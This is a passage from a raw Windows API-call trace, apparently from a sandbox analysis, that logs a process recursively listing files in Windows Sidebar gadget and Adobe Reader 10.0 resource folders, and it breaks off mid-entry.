out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0050.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f630 [0050.670] FindNextFileW (in: hFindFile=0x56f630, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.670] FindNextFileW (in: hFindFile=0x56f630, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0050.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f5f0 [0050.763] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.763] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0050.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f6b0 [0050.965] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.965] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0059.655] FindClose (in: hFindFile=0x56f570 | out: hFindFile=0x56f570) returned 1 [0059.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ef0868 | out: hHeap=0x520000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 0 [0059.656] FindClose (in: hFindFile=0x56f3b0 | out: hFindFile=0x56f3b0) returned 1 [0059.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0860 | out: hHeap=0x520000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x56f4f0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 0 [0059.656] FindClose (in: hFindFile=0x56f4f0 | out: hFindFile=0x56f4f0) returned 1 [0059.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0858 | out: hHeap=0x520000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0059.656] FindClose (in: hFindFile=0x56f6b0 | out: hFindFile=0x56f6b0) returned 1 [0059.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0059.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f6b0 [0059.658] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.658] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0059.658] FindClose (in: hFindFile=0x56f6b0 | out: hFindFile=0x56f6b0) returned 1 [0059.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0059.658] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0059.658] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f6b0 [0059.658] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.658] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0059.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f4f0 [0059.659] FindNextFileW (in: hFindFile=0x56f4f0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.659] FindNextFileW (in: hFindFile=0x56f4f0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0059.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f3b0 [0059.659] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.659] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="CTL_GB~1.CNV")) returned 1 [0059.659] FindClose (in: hFindFile=0x56f3b0 | out: hFindFile=0x56f3b0) returned 1 [0059.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0858 | out: hHeap=0x520000) returned 1 [0059.659] FindNextFileW (in: hFindFile=0x56f4f0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0059.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f3b0 [0059.660] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.660] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0059.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f570 [0059.660] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.661] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0059.661] FindClose (in: hFindFile=0x56f570 | out: hFindFile=0x56f570) returned 1 [0059.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0860 | out: hHeap=0x520000) returned 1 [0059.662] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0059.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f570 [0059.662] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.662] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARABIC.TXT", cAlternateFileName="")) returned 1 [0059.663] FindClose (in: hFindFile=0x56f570 | out: hFindFile=0x56f570) returned 1 [0059.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0860 | out: hHeap=0x520000) returned 1 [0059.664] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0059.664] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f570 [0059.665] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.665] FindNextFileW (in: hFindFile=0x56f570, lpFindFileData=0x33ce920 | out: lpFindFileData=0x33ce920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2664, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0059.668] FindClose (in: hFindFile=0x56f570 | out: hFindFile=0x56f570) returned 1 [0059.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0860 | out: hHeap=0x520000) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x56f3b0, lpFindFileData=0x33ceb9c | out: lpFindFileData=0x33ceb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0059.669] FindClose (in: hFindFile=0x56f3b0 | 